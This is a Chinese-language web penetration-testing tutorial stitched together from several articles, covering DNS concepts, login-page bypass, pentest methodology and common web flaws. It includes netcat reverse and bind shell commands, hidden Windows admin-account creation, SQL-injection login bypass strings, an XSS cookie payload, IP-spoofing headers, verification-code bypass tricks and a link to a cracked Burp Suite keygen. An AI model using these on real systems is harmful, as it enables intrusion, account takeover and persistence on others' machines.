「Web渗透测试」第一天:基础入门-概念名词
域名(英语:Domain Name),又称网域,是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时对计算机的定位标识(有时也指地理位置)。由于IP地址具有不方便记忆并且不能显示地址组织的名称和性质等缺点,人们设计出了域名,并通过网域名称系统(DNS,Domain Name System)来将域名和IP地址相互映射,使人更方便地访问互联网,而不用去记住能够被机器直接读取的IP地址数串。
阿里云:阿里云域名注册
域名级数是指一个域名由多少级组成,域名的各个级别被“.”分开,简而言之,有多少个点就是几级域名。顶级域名在开头有一个点,“一级域名”就是在“com top net org”前加一级,“二级域名”就是在一级域名前再加一级,二级域名及其以上级别的域名,统称为子域名,不在“注册域名”的范畴中。
进行渗透测试时,其主域名找不到漏洞时,就可以尝试去测试收集到的子域名,有可能测试子域名网站时会有意向不到的效果,然后可以由此横向到主网站。
域名系统(英文:Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用UDP端口53。当前,对于每一级域名长度的限制是63个字符,域名总长度则不能超过253个字符。
本地HOSTS是存储的域名对应的IP地址,当我们访问一个网站输入域名时,首先会在本地的HOSTS文件查找是否有对应的IP地址,如果有就会直接解析成本地的IP进行访问。如果不能查到,那么会向DNS域名系统进行查询,找到对应的IP进行访问。
SDN全称是内容分发网络。其目的是让用户能够更快速的得到请求的数据。简单来讲,cdn就是用来加速的,他能让用户就近访问数据,这样就更更快的获取到需要的数据。
关系:通过dns服务我们可以很快的定位到用户的位置,然后给用户分配最佳cdn节点,但是这种调度方式存在一个问题,例如,当我 是北京联通的用户但是使用的却是深圳电信的ldns的话,调度服务器会给我分配到深圳电信的cdn服务器,这样就产生了错误的调度。
通常也称为域名系统投毒或DNS缓存投毒。它是利用虚假Internet地址替换掉域名系统表中的地址,进而制造破坏。当网络用户在带有该虚假地址的页面中进行搜寻,以访问某链接时,网页浏览器由于受到该虚假条目的影响而打开了不同的网页链接。在这种情况下,蠕虫、木马、浏览器劫持等恶意软件就可能会被下载到本地用户的电脑上。
DNS劫持又称域名劫持,是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能访问或访问的是假网址。这类攻击一般通过恶意软件来更改终端用户TCP/IP设置,将用户指向恶意DNS服务器,该DNS服务器会对域名进行解析,并最终指向钓鱼网站等被攻击者操控的服务器。
域名劫持就是在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则直接返回假的IP地址或者什么也不做使得请求失去响应,其效果就是对特定的网址不能访问或访问的是假网址。一旦您的域名被劫持,用户被引到假冒的网站进而无法正常浏览网页,用户可能被诱骗到冒牌网站进行登录等操作导致泄露隐私数据。
针对DNS的DDoS攻击通过控制大批僵尸网络利用真实DNS协议栈发起大量域名查询请求,利用工具软件伪造源IP发送海量DNS查询,发送海量DNS查询报文导致网络带宽耗尽而无法传送正常DNS查询请求。发送大量非法域名查询报文引起DNS服务器持续进行迭代查询,从而达到较少的攻击流量消耗大量服务器资源的目的。
所有放大攻击都利用了攻击者和目标Web资源之间的带宽消耗差异,由于每个机器人都要求使用欺骗性IP地址打开DNS解析器,该IP地址已更改为目标受害者的真实源IP地址,然后目标会从DNS解析器接收响应。为了创建大量流量,攻击者以尽可能从DNS解析器生成响应的方式构造请求。结果,目标接收到攻击者初始流量的放大,并且他们的网络被虚假流量阻塞,导致拒绝服务。
asp php aspx jsp javaweb pl py cgi 等
不同的脚本语言的编写规则不一样,程序产生的漏洞自然也不一样(代码审计)。
不同的脚本语言的编写规则不一样,程序产生的漏洞自然也不一样(代码审计)。
当第一次攻击之后,会留一个端口让攻击者下次从这个端口进行攻击
网页、线程插入、扩展、C/S后门
方便下次攻击进入
管道(攻击通道)
玩法,免杀
1. 网站源码:分脚本类型,分应用方向
2. 操作系统:windows linux
3. 中间件(搭建平台):apache iis tomcat nginx 等
4. 数据库:access mysql mssql oracle sybase db2 postsql等
Web应用一般是指B/S架构的通过HTTP/HTTPS协议提供服务的统称。随着互联网的发展,Web应用已经融入了我们的日常生活的各个方面。在目前的Web应用中,大多数应用不都是静态的网页浏览,而是涉及到服务器的动态处理。如果开发者的安全意识不强,就会导致Web应用安全问题层出不穷。
我们一般说的Web应用攻击,是指攻击者通过浏览器或者其他的攻击工具,在URL或者其他的输入区域(如表单等),向Web服务器发送特殊的请求,从中发现Web应用程序中存在的漏洞,进而操作和控制网站,达到入侵者的目的。
在做安全测试的时候,我们要从web页面层开始,因为较为方便,如果从操作系统进行,是十分不容易的。
SQL 注入、上传、XSS、代码执行、变量覆盖、逻辑漏洞、反序列化等
SQL注入
内核漏洞
web渗透测试之攻破登录页面
当我们在做渗透测试时,无论厂商项目还是src众测项目,都会遇到给一堆登录系统的URL,然后让我们自己去测,能不能进去全看天的状况,本文将讲一下怎么突破这种封闭的web系统,从而进行更深层次的渗透 ,学完后你会发现,其实你就是系统管理员。
如果能直接绕过登录系统界面,后面的就比较好做了,目前常见的登录系统绕过方法有:
大部分情况下,系统登录页面都不存在xss,目录遍历,SQL注入等漏洞,这时候最常用的方法就是爆破和猜解登录口令,密码猜解最关键的就是字典要高效准确
https:// down.52pojie.cn/Tools/N etwork_Analyzer/Burp_Suite_Pro_v1.7.31_Loader_Keygen.zip
2.准确的用户名,密码字典是高效破解的重中之重 ,一般都是指定几个常见用户名 ,尝试 top500,top1000进行爆破 字典不必要太大,最重要的是针对性要强 ,下面是top1000:
链接: https:// pan.baidu.com/s/1-XztuB 8YTfpT5aUBVbmbzA 密码: 56pb
3.如果还是不能猜解成功,就要根据目标信息用字典生成器构造针对性的字典来猜解了,推 荐几个比较好的字典生成工具
pydictor:
LandGrey/pydictor
crunch:
crunch - wordlist generator
Cewl:
digininja/CeWL
Cupp:
Mebus/cupp
因为管理员权限较高,通常我都会先进行管理员口令的猜解,总结了一些常见的管理员用户名字典
u链接:/u u https:// pan.baidu.com/s/1sOD1-u whnStaw_LfMOf-sQ /uu密码: 3yqe/u
用此用户名字典,再加上弱口令top1000,同时爆破系统管理员用户名密码
链接: https:// pan.baidu.com/s/1-XztuB 8YTfpT5aUBVbmbzA 密码: 56pb
常见的普通用户用户名是姓名拼音,总结了普通用户字典
TOP3000姓名
u链接:/u u https:// pan.baidu.com/s/1qN9kCF tymP4ugvu3FFkKbA /uu密码: hkzp/u
TOP10w姓名
https:// github.com/rootphantome r/Blasting_dictionary/blob/master/top10W.txt
通常可以选择几个弱口令密码,比如:123456,123abc,111111,然后配合top10w来猜解登陆口令,一些初始化的默认密码也很简单,如果能找到配合top10w通常也能爆出登录口令
现在的业务系统口令传输到后端前都会进行加密处理 ,web常见的加密方式有 md5 加密、sha1 加密、RSA 加密,在此基础上总结了两种破解方式:
1.利用burpsuite的payload processing功能,把字典按照加密方式先加密再发包
2.用字典生成工具生成加密好的字典,然后burp直接加载加密字典
这里推荐的字典生成工具是pydictor,encode功能内置了多种加密算法,调用handler工具直接加密自己的明文字典
如果登录系统设置了IP地址白名单,我们可以通过下面的几个http头字段伪造IP地址,用burp抓包后将下面的某个http头字段加入数据包发送到服务器
pre class="7250-d189-41a8-66cc prettyprint hljs css" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, "Courier New", monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto;"Client-Ip: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Forwarded-Host: 127.0.0.1/pre
如果在系统登陆界面加上了验证码,那么上面的方法基本上就都失效了,那有什么方法可以绕过验证呢
1.图形验证码不刷新
在一段时间内只要不刷新页面,无论登录失败多少次都不刷新验证码,这个时候就可以使用同一个验证码根据上面的方式进行暴力破解
2.验证码失效
不管在验证码表单输入什么样的数据,都会判断通过,但这种情况很少见
3.图形验证码可被识别,抓包直接可以获得验证码
很多网站的验证码都可以在请求数据包中找到,或者隐藏在request的cookie中,response的源码中,可以利用burpsuite的macros来匹配response中的相应数据,具体的爆破方法参见下文:
burpsuite爆破密码(含验证码) - CSDN博客
4.图形验证码参数直接绕过
对于request数据: user=adminpass=1234vcode=brln,有两种绕过方法:
一是验证码空值绕过,改成 user=adminpass=1234vcode=;
一是直接删除验证码参数,改成 user=adminpass=1234。
5.万能验证码
渗透测试的过程中,有时候会出现这种情况,系统存在一个万能验证码,如0000、9999,只要输入万能验证码,就可以无视验证码进行暴力破解。
6. 验证码可被识别
有些图形验证码加入的像素线条过于简单,使用图形验证码识别工具可以识别出每次更换的验证码,在平常的漏洞挖掘过程中,如果我们发现登录的验证码非常简单且易于识别,那我们就可以尝试使用自动化工具来进行登录破解了,如 PKAV 的 HTTP Fuzzer
7.使用机器学习算法识别验证码
主要是对特定网站的图形验证码训练识别模型,达到一定的准确率就可以调用进行模拟提交图形验证码的值了。可参考以下三篇文章进行学习:
使用KNN算法识别验证码:
http:// nladuo.github.io/2016/0 9/22/%E9%AA%8C%E8%AF%81%E7%A0%81%E7%A0%B4%E8%A7%A3%E6%8A%80%E6%9C%AF%E5%9B%9B%E9%83%A8%E6%9B%B2%E4%B9%8B%E4%BD%BF%E7%94%A8K%E8%BF%91%E9%82%BB%E7%AE%97%E6%B3%95/
卷积神经网络识别验证码
http:// nladuo.github.io/2016/0 9/23/%E9%AA%8C%E8%AF%81%E7%A0%81%E7%A0%B4%E8%A7%A3%E6%8A%80%E6%9C%AF%E5%9B%9B%E9%83%A8%E6%9B%B2%E4%B9%8B%E4%BD%BF%E7%94%A8%E5%8D%B7%E7%A7%AF%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C/
使用 TensorFlow 训练验证码
http:// nladuo.github.io/2017/0 4/10/%E4%BD%BF%E7%94%A8TensorFlow%E8%AE%AD%E7%BB%83Weibo-cn%E9%AA%8C%E8%AF%81%E7%A0%81/
对于网站要求输入手机号,接收手机短信并校验短信验证码是否正确进行登录的系统,突破的主要思路有:
1.短信验证码生命期限内可暴力枚举
在验证码还未过期的时间段内,可枚举全部的纯四位数字、六位数字等较简单的短信验证码;
2. 短信验证码在数据包中返回
和图形验证码一样,在response中可以直接获取到短信验证码。
3. 修改请求数据包参数或 Cookie 值绕过
比如有 post 数据包:mobile=12435437658userid=123456, Cookie中有:codetype=1
在特定步骤,修改 mobile=自己的手机号,自己手机就可以收到别人的验证码,后面再用别人的手机号和接收到的验证码登录;
修改 Cookie 中可疑的参数和值,进行绕过,比如上面修改 codetype=0;
4. 修改返回包绕过
提交错误的短信验证码,返回包中有: status=false,在Burpsuite中修改为 status=true,即可绕过前端判断,成功进入系统。具体还要结合实际的场景,灵活操作。
web系统登陆页面看似铜墙铁壁,但其实只要梳理一遍思路,右键看过每一行网站源码,弄懂每个参数的意义,查看每一个js文件,就会发现其实自己就是系统管理员,只是我把密码忘了,现在我要用上面的方式进入。
渗透测试的步骤有哪些
渗透测试步骤
明确目标
· 确定范围:测试目标的范围,ip,域名,内外网。
· 确定规则:能渗透到什么程度,时间?能否修改上传?能否提权等。
· 确定需求:web应用的漏洞、业务逻辑漏洞、人员权限管理漏洞等等。
信息收集
方式:主动扫描,开放搜索等。
开放搜索:利用搜索引擎获得,后台,未授权页面,敏感url等。
漏洞探索
利用上一步中列出的各种系统,应用等使用相应的漏洞。
方法:
1.漏扫,awvs,IBM appscan等。
2.结合漏洞去exploit-db等位置找利用。
3.在网上寻找验证poc。
内容:
系统漏洞:系统没有及时打补丁
Websever漏洞:Websever配置问题
Web应用漏洞:Web应用开发问题
其它端口服务漏洞:各种21/8080(st2)/7001/22/3389
通信安全:明文传输,token在cookie中传送等。
漏洞验证
将上一步中发现的有可能可以成功利用的全部漏洞都验证一遍,结合实际情况,搭建模拟环境进行试验。成功后再应用于目标中。
自动化验证:结合自动化扫描工具提供的结果
手工验证,根据公开资源进行验证
试验验证:自己搭建模拟环境进行验证
登陆猜解:有时可以尝试猜解一下登陆口的账号密码等信息
业务漏洞验证:如发现业务漏洞,要进行验证
公开资源的利用
信息分析
为下一步实施渗透做准备:
精准打击:准备好上一步探测到的漏洞的exp,用来精准打击
绕过防御机制:是否有防火墙等设备,如何绕过
定制攻击路径:最佳工具路径,根据薄弱入口,高内网权限位置,最终目标
绕过检测机制:是否有检测机制,流量监控,杀毒软件,恶意代码检测等
攻击代码:经过试验得来的代码,包括不限于xss代码,sql注入语句等
获取所需
实施攻击:根据前几步的结果,进行攻击
获取内部信息:基础设施
进一步渗透:内网入侵,敏感目标
持续性存在:一般我们对客户做渗透不需要。rookit,后门,添加管理账号,驻扎手法等
清理痕迹:清理相关日志,上传文件等
信息整理
整理渗透工具:整理渗透过程中用到的代码,poc,exp等
整理收集信息:整理渗透过程中收集到的一切信息
整理漏洞信息:整理渗透过程中遇到的各种漏洞,各种脆弱位置信息
形成报告
按需整理:按照之前第一步跟客户确定好的范围,需求来整理资料,并将资料形成报告
补充介绍:要对漏洞成因,验证过程和带来危害进行分析
修补建议:当然要对所有产生的问题提出合理高效安全的解决办法
web渗透是什么?
Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。
信息收集
信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。
DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)
整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;
网站常见搭配为:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目录信息(御剑,dirbust)
开放端口信息(nmp)
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。
常见漏洞:
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
后台密码爆破(burp)
端口爆破(hydra)
提权
获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法:
反向连接
在公网主机上进行监听:
nc-lvp 4444
在内网主机上执行:
nc-e cmd.exe 公网主机ip4444
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行:
nc-l -p 4444 -t -e cmd.exe
本地主机上执行:
nc-vv 远程主机ip4444
成功后,本地主机即可远程主机的一个shell
然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马,留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。
如何进行Web渗透测试
1.SQL Injection(SQL注入)
(1)如何进行SQL注入测试?
首先找到带有参数传递的URL页面,如 搜索页面,登录页面,提交评论页面等等.
注1:对 于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在FORM 和/FORM的标签中间的每一个参数传递都有可能被利用.
form id="form_search" action="/search/" method="get"
div
input type="text" name="q" id="search_q" value="" /
input name="search" type="image" src="/media/images/site/search_btn.gif" /
a href="/search/" class="d189-41a8-66cc-f241 fl"Gamefinder/a
/div
/form
注 2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如
其 次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入 /INDEX.ASP?USERNAME='HI' OR 1=1
注1:根据实际情况,SQL注入请求可以使用以下语句:
' or 1=1- -
" or 1=1- -
or 1=1- -
' or 'a'='a
" or "a"="a
') or ('a'='a
注2:为什么是OR, 以及',――是特殊的字符呢?
例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where username='username' and pwd='password'
如 输入' or 1='1pwd=11,SQL语句会变成以下:sql=select * from user where username='admin' or 1='1' and password='11'
' 与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行.
接 下来是OR查询条件,OR是一个逻辑运 算符,在判断多个条件的时候,只要一个成立,则等式就成立,后面的AND就不再时行判断了,也就是 说我们绕过了密码验证,我们只用用户名就可以登录.
如 输入'--pwd=11,SQL语 句会变成以下sql=select * from user where name='admin' --' and pasword='11',
'与admin前面的'组成了一个查 询条件,即username='admin',接下来的语句将按下一个查询条件来执行
接下来是"--"查询条件,“--”是忽略或注释,上 述通过连接符注释掉后面的密码验证(注:对ACCESS数据库无 效).
最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器 的相关信息;如果 能说明存在SQL安 全漏洞.
试想,如果网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操 作,这样造成的后果是非常严重的.
(2)如何预防SQL注入?
从应用程序的角度来讲,我们要做以下三项工作:
转义敏感字符及字符串(SQL的敏感字符包括“exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”=!-*/()|”,和”空格”).
屏蔽出错信息:阻止攻击者知道攻击的结果
在服务端正式处理之前提交数据的合法性(合法性检查主要包括三 项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客 户端的输入合法之前,服务端拒绝进行关键性的处理操作.
从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下几项安全性问题:
需求中应说明表单中某一FIELD的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符)
需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示.
当然在执行测试的过程中,我们也需求对上述两项内容进行测试.
2.Cross-site scritping(XSS):(跨站点脚本攻击)
(1)如何进行XSS测试?
!--[if !supportLists]--首先,找到带有参数传递的URL,如 登录页面,搜索页面,提交评论,发表留言 页面等等。
!--[if !supportLists]--其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试:
scrīptalert(document.cookie)/scrīpt
最后,当用户浏览 时便会弹出一个警告框,内容显示的是浏览者当前的cookie串,这就说明该网站存在XSS漏洞。
试想如果我们注入的不是以上这个简单的测试代码,而是一段经常精心设计的恶意脚本,当用户浏览此帖时,cookie信息就可能成功的被 攻击者获取。此时浏览者的帐号就很容易被攻击者掌控了。
(2)如何预防XSS漏洞?
从应用程序的角度来讲,要进行以下几项预防:
对Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等 语句或脚本进行转义.
在 服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端 拒绝进行关键性的处理操作.
从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成XSS检查:
在需求检查过程中对各输入项或输出项进行类型、长度以及取 值范围进行验证,着重验证是否对HTML或脚本代码进行了转义。
执行测试过程中也应对上述项进行检查。
3.CSRF:(跨站点伪造请求)
CSRF尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。
XSS是利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
XSS也好,CSRF也好,它的目的在于窃取用户的信息,如SESSION 和 COOKIES,
(1)如何进行CSRF测试?
目前主要通过安全性测试工具来进行检查。
(2)如何预防CSRF漏洞?
请参见
4.Email Header Injection(邮件标头注入)
Email Header Injection:如果表单用于发送email,表单中可能包括“subject”输入项(邮件标题),我们要验证subject中应能escape掉“\n”标识。
!--[if !supportLists]--!--[endif]--因为“\n”是新行,如果在subject中输入“hello\ncc:spamvictim@example.com”,可能会形成以下
Subject: hello
cc: spamvictim@example.com
!--[if !supportLists]--!--[endif]--如果允许用户使用这样的subject,那他可能会给利用这个缺陷通过我们的平台给其它用 户发送垃圾邮件。
5.Directory Traversal(目录遍历)
(1)如何进行目录遍历测试?
目录遍历产生的原因是:程序中没有过滤用户输入的“../”和“./”之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
测试方法:在URL中输入一定数量的“../”和“./”,验证系统是否ESCAPE掉了这些目录跳转符。
(2)如何预防目录遍历?
限制Web应用在服务器上的运行
进 行严格的输入验证,控制用户输入非法路径
6.exposed error messages(错误信息)
(1)如何进行测试?
首 先找到一些错误页面,比如404,或500页面。
验证在调试未开通过的情况下,是否给出了友好的错误提示信息比如“你访问的页面不存 在”等,而并非曝露一些程序代码。
(2)如何预防?
测试人员在进行需求检查时,应该对出错信息 进行详细查,比如是否给出了出错信息,是否给出了正确的出错信息。
web渗透测试工具
第一个:NST
NST一套免费的开源应用程序,是一个基于Fedora的Linux发行版,可在32和64位平台上运行。这个可启动的Live
CD是用于监视、分析和维护计算机网络上的安全性;它可以很容易地将X86系统转换为肉机,这有助于入侵检测,网络流量嗅探,网络数据包生成,网络/主机扫描等。
第二个:NMAP
NMAP是发现企业网络中任何类型的弱点或漏洞的绝佳工具,它也是审计的好工具。该工具的作用是获取原始数据包并确定哪些主机在网络的特定段上可用,正在使用什么操作系统,以及识别特定主机的数据包防火墙或过滤器的不同类型和版本正在使用。NMAP对渗透测试过程的任何阶段都很有用并且还是免费的。
第三个:BeEF工具
BeEF工具主要利用移动端的客户,它的作用是用于检查Web浏览器,对抗Web抗击。BeEF用GitHub找漏洞,它探索了Web边界和客户端系统之外的缺陷。很重要的是,它是专门针对Web浏览器的,能够查看单个源上下文中的漏洞。
第四个:Acunetix Scanner
它是一款知名的网络漏洞扫描工具,能审计复杂的管理报告和问题,并且通过网络爬虫测试你的网站安全,检测流行安全漏洞,还能包含带外漏洞。它具有很高的检测率,覆盖超过4500个弱点;此外,这个工具包含了AcuSensor技术,手动渗透工具和内置漏洞测试,可快速抓取数千个网页,大大提升工作效率。
第五个:John the Ripper
它是一个简单可快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持大多数的加密算法,如DES、MD4、MD5等。
0条大神的评论